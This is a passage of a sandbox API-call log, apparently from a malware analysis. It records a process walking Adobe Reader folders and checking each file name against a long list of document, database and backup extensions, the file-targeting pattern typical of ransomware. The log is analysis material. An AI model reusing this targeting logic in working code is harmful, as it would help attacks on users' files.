cAlternateFileName="")) returned 1 [0270.509] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0270.510] lstrlenW (lpString="ui-strings.js") returned 13 [0270.510] lstrlenW (lpString=".1cd") returned 4 [0270.510] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0270.510] lstrlenW (lpString=".3ds") returned 4 [0270.510] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0270.510] lstrlenW (lpString=".3fr") returned 4 [0270.510] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0270.510] lstrlenW (lpString=".3g2") returned 4 [0270.510] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0270.510] lstrlenW (lpString=".3gp") returned 4 [0270.510] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0270.510] lstrlenW (lpString=".7z") returned 3 [0270.510] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0270.510] lstrlenW (lpString=".accda") returned 6 [0270.510] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0270.510] lstrlenW (lpString=".accdb") returned 6 [0270.510] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0270.510] lstrlenW (lpString=".accdc") returned 6 [0270.510] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0270.510] lstrlenW (lpString=".accde") returned 6 [0270.510] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0270.510] lstrlenW (lpString=".accdt") returned 6 [0270.510] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0270.510] lstrlenW (lpString=".accdw") returned 6 [0270.510] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0270.511] lstrlenW (lpString=".adb") returned 4 [0270.511] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0270.511] lstrlenW (lpString=".adp") returned 4 [0270.511] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0270.511] lstrlenW (lpString=".ai") returned 3 [0270.511] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0270.511] lstrlenW (lpString=".ai3") returned 4 [0270.511] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0270.511] lstrlenW (lpString=".ai4") returned 4 [0270.511] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0270.511] lstrlenW (lpString=".ai5") returned 4 [0270.511] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0270.511] lstrlenW (lpString=".ai6") returned 4 [0270.511] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0270.511] lstrlenW (lpString=".ai7") returned 4 [0270.511] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0270.511] lstrlenW (lpString=".ai8") returned 4 [0270.511] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0270.511] lstrlenW (lpString=".anim") returned 5 [0270.511] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0270.511] lstrlenW (lpString=".arw") returned 4 [0270.511] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0270.511] lstrlenW (lpString=".as") returned 3 [0270.512] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0270.512] lstrlenW (lpString=".asa") returned 4 [0270.512] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0270.512] lstrlenW (lpString=".asc") returned 4 [0270.512] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0270.512] lstrlenW (lpString=".ascx") returned 5 [0270.512] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0270.512] lstrlenW (lpString=".asm") returned 4 [0270.512] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0270.512] lstrlenW (lpString=".asmx") returned 5 [0270.512] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0270.512] lstrlenW (lpString=".asp") returned 4 [0270.512] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0270.512] lstrlenW (lpString=".aspx") returned 5 [0270.512] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0270.512] lstrlenW (lpString=".asr") returned 4 [0270.512] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0270.512] lstrlenW (lpString=".asx") returned 4 [0270.512] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0270.512] lstrlenW (lpString=".avi") returned 4 [0270.512] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0270.512] lstrlenW (lpString=".avs") returned 4 [0270.512] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0270.512] lstrlenW (lpString=".backup") returned 7 [0270.513] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0270.513] lstrlenW (lpString=".bak") returned 4 [0270.513] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0270.513] lstrlenW (lpString=".bay") returned 4 [0270.513] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0270.513] lstrlenW (lpString=".bd") returned 3 [0270.513] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0270.513] lstrlenW (lpString=".bin") returned 4 [0270.513] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0270.513] lstrlenW (lpString=".bmp") returned 4 [0270.513] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0270.513] lstrlenW (lpString=".bz2") returned 4 [0270.513] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0270.513] lstrlenW (lpString=".c") returned 2 [0270.513] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0270.513] lstrlenW (lpString=".cdr") returned 4 [0270.513] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0270.513] lstrlenW (lpString=".cer") returned 4 [0270.513] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0270.513] lstrlenW (lpString=".cf") returned 3 [0270.513] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0270.513] lstrlenW (lpString=".cfc") returned 4 [0270.513] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0270.513] lstrlenW (lpString=".cfm") returned 4 [0270.514] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0270.514] lstrlenW (lpString=".cfml") returned 5 [0270.514] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0270.514] lstrlenW (lpString=".cfu") returned 4 [0270.514] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0270.514] lstrlenW (lpString=".chm") returned 4 [0270.514] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0270.514] lstrlenW (lpString=".cin") returned 4 [0270.514] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0270.514] lstrlenW (lpString=".class") returned 6 [0270.514] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0270.514] lstrlenW (lpString=".clx") returned 4 [0270.514] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0270.514] lstrlenW (lpString=".config") returned 7 [0270.514] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0270.514] lstrlenW (lpString=".cpp") returned 4 [0270.514] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0270.514] lstrlenW (lpString=".cr2") returned 4 [0270.514] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0270.691] lstrlenW (lpString=".crt") returned 4 [0270.691] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0270.691] lstrlenW (lpString=".crw") returned 4 [0270.691] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0270.691] lstrlenW (lpString=".cs") returned 3 [0270.691] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0270.691] lstrlenW (lpString=".css") returned 4 [0270.691] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0270.691] lstrlenW (lpString=".csv") returned 4 [0270.691] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0270.691] lstrlenW (lpString=".cub") returned 4 [0270.691] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0270.691] lstrlenW (lpString=".dae") returned 4 [0270.692] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0270.692] lstrlenW (lpString=".dat") returned 4 [0270.692] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0270.692] lstrlenW (lpString=".db") returned 3 [0270.692] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0270.692] lstrlenW (lpString=".dbf") returned 4 [0270.692] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0270.692] lstrlenW (lpString=".dbx") returned 4 [0270.692] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0270.692] lstrlenW (lpString=".dc3") returned 4 [0270.692] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0270.692] lstrlenW (lpString=".dcm") returned 4 [0270.692] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0270.692] lstrlenW (lpString=".dcr") returned 4 [0270.692] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0270.692] lstrlenW (lpString=".der") returned 4 [0270.692] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0270.692] lstrlenW (lpString=".dib") returned 4 [0270.692] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0270.692] lstrlenW (lpString=".dic") returned 4 [0270.692] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0270.692] lstrlenW (lpString=".dif") returned 4 [0270.692] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0270.692] lstrlenW (lpString=".divx") returned 5 [0270.693] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0270.693] lstrlenW (lpString=".djvu") returned 5 [0270.693] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0270.693] lstrlenW (lpString=".dng") returned 4 [0270.693] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0270.693] lstrlenW (lpString=".doc") returned 4 [0270.693] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0270.693] lstrlenW (lpString=".docm") returned 5 [0270.693] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0270.693] lstrlenW (lpString=".docx") returned 5 [0270.693] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0270.693] lstrlenW (lpString=".dot") returned 4 [0270.693] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0270.693] lstrlenW (lpString=".dotm") returned 5 [0270.693] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0270.693] lstrlenW (lpString=".dotx") returned 5 [0270.693] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0270.693] lstrlenW (lpString=".dpx") returned 4 [0270.693] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0270.693] lstrlenW (lpString=".dqy") returned 4 [0270.693] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0270.693] lstrlenW (lpString=".dsn") returned 4 [0270.693] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0270.693] lstrlenW (lpString=".dt") returned 3 [0270.693] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0270.694] lstrlenW (lpString=".dtd") returned 4 [0270.694] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0270.694] lstrlenW (lpString=".dwg") returned 4 [0270.694] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0270.694] lstrlenW (lpString=".dwt") returned 4 [0270.694] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0270.694] lstrlenW (lpString=".dx") returned 3 [0270.694] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0270.694] lstrlenW (lpString=".dxf") returned 4 [0270.694] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0270.694] lstrlenW (lpString=".edml") returned 5 [0270.694] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0270.694] lstrlenW (lpString=".efd") returned 4 [0270.694] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0270.694] lstrlenW (lpString=".elf") returned 4 [0270.694] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0270.694] lstrlenW (lpString=".emf") returned 4 [0270.694] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0270.694] lstrlenW (lpString=".emz") returned 4 [0270.694] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0270.694] lstrlenW (lpString=".epf") returned 4 [0270.694] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0270.694] lstrlenW (lpString=".eps") returned 4 [0270.694] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0270.695] lstrlenW (lpString=".epsf") returned 5 [0270.695] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0270.695] lstrlenW (lpString=".epsp") returned 5 [0270.695] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0270.695] lstrlenW (lpString=".erf") returned 4 [0270.695] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0270.695] lstrlenW (lpString=".exr") returned 4 [0270.695] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0270.695] lstrlenW (lpString=".f4v") returned 4 [0270.695] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0270.695] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0270.696] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0270.696] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0270.696] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0270.696] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0270.696] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es") returned 119 [0270.696] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315cb0 [0270.698] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0270.698] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0270.699] lstrlenW (lpString="ui-strings.js") returned 13 [0270.699] lstrlenW (lpString=".1cd") returned 4 [0270.699] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0270.699] lstrlenW (lpString=".3ds") returned 4 [0270.699] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0270.699] lstrlenW (lpString=".3fr") returned 4 [0270.699] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0270.699] lstrlenW (lpString=".3g2") returned 4 [0270.699] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0270.699] lstrlenW (lpString=".3gp") returned 4 [0270.699] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0270.699] lstrlenW (lpString=".7z") returned 3 [0270.699] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0270.699] lstrlenW (lpString=".accda") returned 6 [0270.699] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0270.699] lstrlenW (lpString=".accdb") returned 6 [0270.699] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0270.699] lstrlenW (lpString=".accdc") returned 6 [0270.699] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0270.699] lstrlenW (lpString=".accde") returned 6 [0270.699] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0270.699] lstrlenW (lpString=".accdt") returned 6 [0270.700] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0270.700] lstrlenW (lpString=".accdw") returned 6 [0270.700] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0270.700] lstrlenW (lpString=".adb") returned 4 [0270.700] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0270.700] lstrlenW (lpString=".adp") returned 4 [0270.700] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0270.700] lstrlenW (lpString=".ai") returned 3 [0270.700] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0270.700] lstrlenW (lpString=".ai3") returned 4 [0270.700] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0270.700] lstrlenW (lpString=".ai4") returned 4 [0270.700] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0270.700] lstrlenW (lpString=".ai5") returned 4 [0270.700] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0270.700] lstrlenW (lpString=".ai6") returned 4 [0270.700] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0270.700] lstrlenW (lpString=".ai7") returned 4 [0270.700] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0270.700] lstrlenW (lpString=".ai8") returned 4 [0270.701] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0270.701] lstrlenW (lpString=".anim") returned 5 [0270.701] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0270.701] lstrlenW (lpString=".arw") returned 4 [0270.701] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0270.701] lstrlenW (lpString=".as") returned 3 [0270.701] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0270.701] lstrlenW (lpString=".asa") returned 4 [0270.701] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0270.701] lstrlenW (lpString=".asc") returned 4 [0270.701] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0270.701] lstrlenW (lpString=".ascx") returned 5 [0270.701] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0270.701] lstrlenW (lpString=".asm") returned 4 [0270.701] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0270.701] lstrlenW (lpString=".asmx") returned 5 [0270.701] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0270.701] lstrlenW (lpString=".asp") returned 4 [0270.701] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0270.701] lstrlenW (lpString=".aspx") returned 5 [0270.701] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0270.701] lstrlenW (lpString=".asr") returned 4 [0270.702] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0270.702] lstrlenW (lpString=".asx") returned 4 [0270.702] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0270.702] lstrlenW (lpString=".avi") returned 4 [0270.702] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0270.702] lstrlenW (lpString=".avs") returned 4 [0270.702] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0270.702] lstrlenW (lpString=".backup") returned 7 [0270.702] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0270.702] lstrlenW (lpString=".bak") returned 4 [0270.702] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0270.702] lstrlenW (lpString=".bay") returned 4 [0270.702] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0270.702] lstrlenW (lpString=".bd") returned 3 [0270.702] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0270.702] lstrlenW (lpString=".bin") returned 4 [0270.702] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0270.702] lstrlenW (lpString=".bmp") returned 4 [0270.702] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0270.702] lstrlenW (lpString=".bz2") returned 4 [0270.702] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0270.702] lstrlenW (lpString=".c") returned 2 [0270.702] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0270.702] lstrlenW (lpString=".cdr") returned 4 [0270.702] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0270.702] lstrlenW (lpString=".cer") returned 4 [0270.702] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0270.702] lstrlenW (lpString=".cf") returned 3 [0270.702] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0270.703] lstrlenW (lpString=".cfc") returned 4 [0270.703] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0270.703] lstrlenW (lpString=".cfm") returned 4 [0270.703] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0270.703] lstrlenW (lpString=".cfml") returned 5 [0270.703] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0270.703] lstrlenW (lpString=".cfu") returned 4 [0270.703] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0270.703] lstrlenW (lpString=".chm") returned 4 [0270.703] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0270.703] lstrlenW (lpString=".cin") returned 4 [0270.703] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0270.703] lstrlenW (lpString=".class") returned 6 [0270.703] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0270.703] lstrlenW (lpString=".clx") returned 4 [0270.703] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0270.703] lstrlenW (lpString=".config") returned 7 [0270.703] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0270.703] lstrlenW (lpString=".cpp") returned 4 [0270.703] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0270.703] lstrlenW (lpString=".cr2") returned 4 [0270.703] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0270.703] lstrlenW (lpString=".crt") returned 4 [0270.703] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0270.704] lstrlenW (lpString=".crw") returned 4 [0270.704] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0270.704] lstrlenW (lpString=".cs") returned 3 [0270.704] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0270.704] lstrlenW (lpString=".css") returned 4 [0270.704] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0270.704] lstrlenW (lpString=".csv") returned 4 [0270.704] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0270.704] lstrlenW (lpString=".cub") returned 4 [0270.704] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0270.704] lstrlenW (lpString=".dae") returned 4 [0270.704] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0270.704] lstrlenW (lpString=".dat") returned 4 [0270.704] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0270.704] lstrlenW (lpString=".db") returned 3 [0270.704] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0270.704] lstrlenW (lpString=".dbf") returned 4 [0270.704] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0270.704] lstrlenW (lpString=".dbx") returned 4 [0270.704] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0270.704] lstrlenW (lpString=".dc3") returned 4 [0270.704] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0270.704] lstrlenW (lpString=".dcm") returned 4 [0270.705] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0270.705] lstrlenW (lpString=".dcr") returned 4 [0270.705] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0270.705] lstrlenW (lpString=".der") returned 4 [0270.705] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0270.705] lstrlenW (lpString=".dib") returned 4 [0270.705] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0270.705] lstrlenW (lpString=".dic") returned 4 [0270.705] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0270.705] lstrlenW (lpString=".dif") returned 4 [0270.705] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0270.705] lstrlenW (lpString=".divx") returned 5 [0270.705] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0270.705] lstrlenW (lpString=".djvu") returned 5 [0270.705] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0270.706] lstrlenW (lpString=".dng") returned 4 [0270.706] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0270.706] lstrlenW (lpString=".doc") returned 4 [0270.706] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0270.706] lstrlenW (lpString=".docm") returned 5 [0270.706] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0270.706] lstrlenW (lpString=".docx") returned 5 [0270.706] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0270.706] lstrlenW (lpString=".dot") returned 4 [0270.706] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0270.706] lstrlenW (lpString=".dotm") returned 5 [0270.706] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0270.706] lstrlenW (lpString=".dotx") returned 5 [0270.706] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0270.706] lstrlenW (lpString=".dpx") returned 4 [0270.707] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0270.707] lstrlenW (lpString=".dqy") returned 4 [0270.707] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0270.707] lstrlenW (lpString=".dsn") returned 4 [0270.707] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0270.707] lstrlenW (lpString=".dt") returned 3 [0270.707] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0270.707] lstrlenW (lpString=".dtd") returned 4 [0270.707] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0270.707] lstrlenW (lpString=".dwg") returned 4 [0270.707] lstrcmpiW (lpString1=".dwg", lpString2="s.js") 